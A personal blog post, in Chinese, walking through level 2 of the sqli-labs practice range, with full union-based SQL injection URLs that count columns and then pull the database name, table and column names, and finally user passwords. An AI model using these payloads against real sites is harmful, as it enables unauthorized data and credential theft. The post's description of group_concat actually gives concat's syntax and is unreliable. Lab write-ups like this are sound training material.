sql lab第二关

哎呀呀,要写第二关了,不知道能不能行了,打开靶场

 

 看着和第一关也没多大区别嘛,所以想着先用第一关的方法搞一手吧‘

那我先判断一下他是什么注入吧

首先试了一下?id=1' 是出错的,这样就存在注入了。

然后又用 ?id=1' and 1=1 还是不行

那我又用了?id=1 and 1=1 ,页面果真好了,

 

 然后继续判断,?id=1 and 1=2,没有出错,但是还是查不出数据,与原始页面不相同,

 

 那这就是我们所谓的数字注入了。

好吧,那我们就利用上一关所学到的知识来搞一手,

先查看一下数据库列数,

当时我是用的http://10.0.68.183/sqli-labs-master/Less-2/?id=1%27%20order%20by%203#来判断的列数,可是一直再报错,大概内容就是说”order by 4 LIMIT 0,1’,前面有两个单引号,这说明我们输入的一个单引号其实是多余了,所以去除 。

最终的pyload是

http://10.0.68.183/sqli-labs-master/Less-2/?id=1%20order%20by%203#

然后,这样就成功了。查出来3列

 

 接下来我们需要找一下显示位:

http://10.0.68.183/sqli-labs-master/Less-2/?id=00%20%20union%20select%201,2,3

这样就能找到了。

 

那我们继续爆数据库名

http://10.0.68.183/sqli-labs-master/Less-2/?id=00%20%20union%20select%202,3,database()

 

和第一关的一样哎,好,继续爆表名,

http://10.0.68.183/sqli-labs-master/Less-2/?id=00%20%20union%20select%202,3,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#

information_schema:

这是一个mysql自带的库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表列的数据类型与访问权限等,所以我们查询这个库

group _concat:

1、功能:将多个字符串连接成一个字符串。

2、语法:concat(str1, str2,...)

返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

我们继续爆表名:

http://10.0.68.183/sqli-labs-master/Less-2/?id=00%20%20union%20select%202,3,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27#

 

 最后爆出最后的密码:

http://10.0.68.183/sqli-labs-master/Less-2/?id=00%20%20union%20select%202,3,group_concat(username,%27:%27,password)from%20security.users%20--+

 

posted @ 2020-10-06 21:20  AW_SOLE  阅读(285)  评论(0编辑  收藏  举报